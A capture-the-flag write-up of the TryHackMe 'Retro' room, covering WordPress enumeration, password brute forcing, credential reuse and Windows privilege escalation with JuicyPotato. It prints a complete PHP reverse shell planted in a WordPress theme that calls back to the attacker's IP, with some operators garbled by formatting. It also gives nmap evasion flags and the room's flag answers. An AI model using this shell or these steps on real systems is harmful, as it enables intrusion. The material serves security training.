Retro - TryHackMe
14 min read
Published at: May 10, 2024
Can we achieve the new high score!?
Metadata
Meta
- Room name: Retro
- URL: https://tryhackme.com/room/retro
Goal
Find a way into the system that is hosting a retro blog - thereafter escalate your privileges to system!
Cheat Sheet
Before we begin, as always there is a generic Cheat Sheet for this room which could be integrated in your own notes. You find it at at the bottom of this write-up. You can also find all of my notes at https://hailstormsec.com/posts/categories/notes.
Tasks
Hidden directory
A web server is running on the target. What is the hidden directory which the website lives on? We are also hinted that the machine doesn't respond to ping.
To begin our hack, we do a port scan to see what services are hosted on the machine.
nmap -p- -v -Pn 10.10.166.165
PORT STATE SERVICE
80/tcp open http
3389/tcp open ms-wbt-server
- -p-: Scan all ports
- -v: Be verbose
- -Pn: No host discovery (treat all machines as up)
We see an open
Remote Desktop
Navigating to the web server by going to http://10.10.166.165 I am faced by the following screen.
To find any more interesting directories I utilise gobuster.
Navigating to retro we are met by the following:
Answers(s)
/retro
Gain access
Because gobuster doesn't look recursively, we would like to scan another time but for the retro directory.
Oh! It's running wordpress. Navigating to the bottom of the page we also find the login-page for the wordpress admin console.
A good tool to further enumerate wordpress is wpscan.
Great we have a username! My next idea was to bruteforce the password whilst finding another way in or the password directly - I did so by running:
wpscan --url http://10.10.166.165/retro -U wade -P /usr/share/wordlists/rockyou.txt
However this had limited results.
Instead I went to browse the webpage as a normal user, and there I found a comment made by wade himself.
This seems almost like a password? Or at least it must be important since he left himself a note. Let's try to use it on the wordpress login page.
Having exploited wordpress before, I know we can edit the wordpress theme and replace it with a php-reverse shell which we can catch on our own machine.
I will be using the following, Ivan Sincek from revshells.com:
<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
private $addr = null;
private $port = null;
private $os = null;
private $shell = null;
private $descriptorspec = array(
0 => array('pipe', 'r'), // shell can read from STDIN
1 => array('pipe', 'w'), // shell can write to STDOUT
2 => array('pipe', 'w') // shell can write to STDERR
);
private $buffer = 1024; // read/write buffer size
private $clen = 0; // command length
private $error = false; // stream read/write error
public function __construct($addr, $port) {
$this->addr = $addr;
$this->port = $port;
}
private function detect() {
$detected = true;
if (stripos(PHP_OS, 'LINUX') !<b> false) { // same for macOS
$this->os = 'LINUX';
$this->shell = 'cmd';
} else if (stripos(PHP_OS, 'WIN32') !</b> false || stripos(PHP_OS, 'WINNT') !<b> false || stripos(PHP_OS, 'WINDOWS') !</b> false) {
$this->os = 'WINDOWS';
$this->shell = 'cmd.exe';
} else {
$detected = false;
echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
}
return $detected;
}
private function daemonize() {
$exit = false;
if (!function_exists('pcntl_fork')) {
echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
} else if (($pid = @pcntl_fork()) < 0) {
echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
} else if ($pid > 0) {
$exit = true;
echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
} else if (posix_setsid() < 0) {
// once daemonized you will actually no longer see the script's dump
echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
} else {
echo "DAEMONIZE: Completed successfully!\n";
}
return $exit;
}
private function settings() {
@error_reporting(0);
@set_time_limit(0); // do not impose the script execution time limit
@umask(0); // set the file/directory permissions - 666 for files and 777 for directories
}
private function dump($data) {
$data = str_replace('<', '<', $data);
$data = str_replace('>', '>', $data);
echo $data;
}
private function read($stream, $name, $buffer) {
if (($data = @fread($stream, $buffer)) <b>= false) { // suppress an error when reading from a closed blocking stream
$this->error = true; // set global error flag
echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
}
return $data;
}
private function write($stream, $name, $data) {
if (($bytes = @fwrite($stream, $data)) </b>= false) { // suppress an error when writing to a closed blocking stream
$this->error = true; // set global error flag
echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
}
return $bytes;
}
// read/write method for non-blocking streams
private function rw($input, $output, $iname, $oname) {
while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
if ($this->os <b>= 'WINDOWS' && $oname </b>= 'STDIN') { $this->clen += strlen($data); } // calculate the command length
$this->dump($data); // script's dump
}
}
// read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
// we must read the exact byte length from a stream and not a single byte more
private function brw($input, $output, $iname, $oname) {
$fstat = fstat($input);
$size = $fstat['size'];
if ($this->os <b>= 'WINDOWS' && $iname </b>= 'STDOUT' && $this->clen) {
// for some reason Windows OS pipes STDIN into STDOUT
// we do not like that
// we need to discard the data from the stream
while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
$this->clen -= $bytes;
$size -= $bytes;
}
}
while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
$size -= $bytes;
$this->dump($data); // script's dump
}
}
public function run() {
if ($this->detect() && !$this->daemonize()) {
$this->settings();
// ----- SOCKET BEGIN -----
$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
if (!$socket) {
echo "SOC_ERROR: {$errno}: {$errstr}\n";
} else {
stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS
// ----- SHELL BEGIN -----
$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
if (!$process) {
echo "PROC_ERROR: Cannot start the shell\n";
} else {
foreach ($pipes as $pipe) {
stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
}
// ----- WORK BEGIN -----
$status = proc_get_status($process);
@fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n");
do {
$status = proc_get_status($process);
if (feof($socket)) { // check for end-of-file on SOCKET
echo "SOC_ERROR: Shell connection has been terminated\n"; break;
} else if (feof($pipes[1]) || !$status['running']) { // check for end-of-file on STDOUT or if process is still running
echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams
} // use proc_get_status() instead
$streams = array(
'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
'write' => null,
'except' => null
);
$num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
if ($num_changed_streams <b>= false) {
echo "STRM_ERROR: stream_select() failed\n"; break;
} else if ($num_changed_streams > 0) {
if ($this->os </b>= 'LINUX') {
if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
} else if ($this->os <b>= 'WINDOWS') {
// order is important
if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
}
}
} while (!$this->error);
// ------ WORK END ------
foreach ($pipes as $pipe) {
fclose($pipe);
}
proc_close($process);
}
// ------ SHELL END ------
fclose($socket);
}
// ------ SOCKET END ------
}
}
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('10.8.11.118', 1337);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>
Now before navigating to the homepage to trigger the shell, we need to setup a listener with netcat. Then you can navigate to: http://10.10.166.165/retro (with your machine ip of course).
Privilege escalation
Multiple ways to privesc
On windows there are usually many ways to escalate your privileges - therefore there will be multiple ways to do so even in this room. I will cover two ways of doing so.
Method 1 - JuicyPotato
We can check our privilegs with whoami /priv
or whoami /all
.
Now I know I have privileges beyond what I should have, we can look at ways to exploit it. Looking at the hacktricks blog (or via a google search) we can find ways to do so. RogueWinRM is a technique I have tried before - however it requires that WinRM is disabled on the system. By running `powershell -c "Get-Service"`, we see that it is running...
Another common way is via one of the Potato techniques. A few examples are hot, rotten, juicy and rogue. However a general rule is:
- Windows 10 1809 >= & Windows Server 2019 - Try Rogue Potato.
- < Windows 10 1809, < Windows Server 2019 - Try Juicy Potato.
Sweet Potato
Post-completion of the room, I read that Sweet Potato should be able to work for every situation. However I did not use it for this room due to my limited knowledge of this before completion.
To figure out which one we should use, get the system information.
We are running Windows Server 2016, which puts us in the use-case of Juicy Potato. First we need to download the binary together with netcat to the Windows machine. Here is the download link to the binary: https://github.com/ohpe/juicy-potato/releases/tag/v0.1.
Find netcat
To see if you have the netcat binary on your machine already, run locate nc.exe
.
Now make sure you have both of these binaries in the same directory and host a webserver:
python3 -m http.server
Now you can use many tools to download them to the Windows machine, I used certutil. Run the following command for both JuicyPotato and netcat. Note that I decided to make a temp-folder to guarantee read/write permission.
To know how to use JuicyPotato I once again referred to hacktricks. Now that we have the binaries, the last thing we need is a CLSID (think serial number for every application component in Windows). A list of CLSIDS for different Windows systems can be found here. I used the first one {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}
. Note however that if one doesn't work, you can keep trying with other ones.
Great! Now we have everything to run the command!
Now we can grab both the user and root flags! Found in respective desktop-file.
Answers(s)
- User: 3b99fbdc6d430bfb51c72c651a261927
- Root: 7958b569565d7bd88d10c6f22d1c4063
Method 2 - RDP
Remember the RDP? Let's try to connect to it reusing the credentials we found before! Note that my new machine has the ip 10.10.180.242
.
remmina --encrypt-password # Take the output and put it after 'wade:'
remmina -c rdp://wade:YlZsMBpIgVH7ZNokEyaK1A</b>@10.10.180.242
We also find the following in the google chrome application:
We find the following when searching on google:
I had an issue performing this however due to an internal bug that makes it impossible to open the site.
But since I have completed room with Method 1 - JuicyPotato, I wasn't too upset knowing that it should in theory work.
Another amazing writeup
For another very good writeup on the room that cover two additional ways of escalating privileges, read this:
Cheat Sheet
You can also find all of the following under the notes category.
Nmap
Network enumeration
Warning
ICMP and SYN scans cannot be tunnelled through socks proxies, so we must disable ping discovery (-Pn
) and specify TCP scans (-sT
) for this to work.
Prepared
Traceroute with Nmap:
sudo nmap -sn --tsaceroute ip_addr -oA insecure-net
Zenmap can take the .xml output and graphically display the traceroute and topology
Initial port scan:
sudo nmap -p- -v
Add -Pn
if windows machine
Narrow secondary scan:
sudo nmap -v -A -sC --script vuln -p PORTS
Nmap to searchsploit:
sudo nmap -sV -p PORTS -oX searchsploit.xml && searchsploit --nmap searchsploit.xml
Scripts
--script scriptname
: run scriptslocate *.nse
: list all scripts
Good scripts:
Script name | Functionality |
---|---|
dns-brute | Attempts to enumerate DNS hostnames by brute force guessing of common subdomains. |
http-enum | Enumerates directories used by popular web applications and servers. |
http-title | Shows the title of the default page of a web server. |
nfs* | Enumerates network file shares. |
smb-os-discovery | Attempts to determine the operating system, computer name, domain, workgroup, and current time over the SMB protocol (ports 445 or 139). |
smb-brute | Attempts to guess username/password combinations over SMB, storing discovered combinations for use in other scripts. |
smb-enum-shares | Tries to enumerate shares. |
smb-enum-users | Tries to enumerate users of the shares. |
Other script syntax:
-sC - Default scripts
--script all - runs all script (can DoS)
--script-updatedb - update the NSE scripts
--script banner - run the named script (banner) against the target(s)
--script-help "http*" - get help for the named script(s) (use wildcard * alone for all scripts)
--script "http*" - run all scripts beginning with http against the target(s)
--script "smb*" - run all scripts beginning with smb against the target(s)
--script category - runs all scripts within a script-category (e.g. vuln)
Examples, categories, etc: https://nmap.org/book/nse-usage.html
Other flags
Flag | Function |
---|---|
-sU | UDP scan |
-F | top 100 ports |
-iL | input file |
-D | decoy source IP (RND for random) |
-S | spoof IP, need to be on the same network |
-g | source port (-g 443 to resemble https, or -g 53 for UDP to resemble DNS ) |
--reason | show target response |
--packet_trace | show packet details |
traceroute | show topology |
Packet fragmentation | |
-f | to set the data in the IP packet to 8 bytes. |
-ff | to limit the data in the IP packet to 16 bytes at most. |
--mtu SIZE | to provide a custom size for data carried within the IP packet. The size should be a multiple of 8. |
Packet fragmentation end | |
--data-length | set a specific length (multiple of 8) |
--badsum | send invalid packet |
--ip-options "[S/L] IP IP2" | Strict and loose routing |
--proxies | comma separated proxy list (HTTP or SOCKS4) |
--spoof-mac | need to be on the same network |
--ttl | set specific time to live |
Gobuster
Directory bruteforce:
gobuster dir -u "URL" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o OUTFILE
DNS bruteforce:
gobuster dns -d "URL" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o OUTFILE
Threads
Default threads is 10 (-t
)
Gobuster flag | Description |
---|---|
-e | Print the full URLs in your console |
-u | The target URL |
-w | Path to your wordlist |
-U and -P | Username and Password for Basic Auth |
-p |
Proxy to use for requests |
-c |
Specify a cookie for simulating your auth |
Wpscan
Wordpress scanner
ALWAYS scan the directory
When scanning the directory rather than the login page, you will usually find more information. E.g. scan /wordpress
and not /wordpress/wp-logoin.php
wpscan --url example.com/worpress -e
- -e: enumerate
- -U: username/list
- -P: password/list
JuicyPotato
Prerequisites:
- < Windows 10 1809
- < Windows Server 2019
SeImpersonatePrivilege
orSeAssignPrimaryToken
CLIDS (serial number for windows applications): https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2016_Standard
Remmina (RDP)
remmina --encrypt-password # Take the output and put it after 'wade:'
remmina -c rdp://wade:[email protected]
Support me
Thank you so much for reading and I hope you found it inspirational or helpful! You can best support me by doing any of the following bellow!
- Turn off Adblocker: A simple yet impactful way to support me for free.
- Sign Up: If you haven't already, consider signing up to get access to more content and receive optional newsletters.
- Buy Premium: Explore the Premium option for additional perks and exclusive content.
- Give a Tip: Your generosity is always very appreciated.
You can read more about the perks of being a Member or Subscriber here.
Additionally, you can stay updated and engage with me on social media:
Contact me here: [email protected]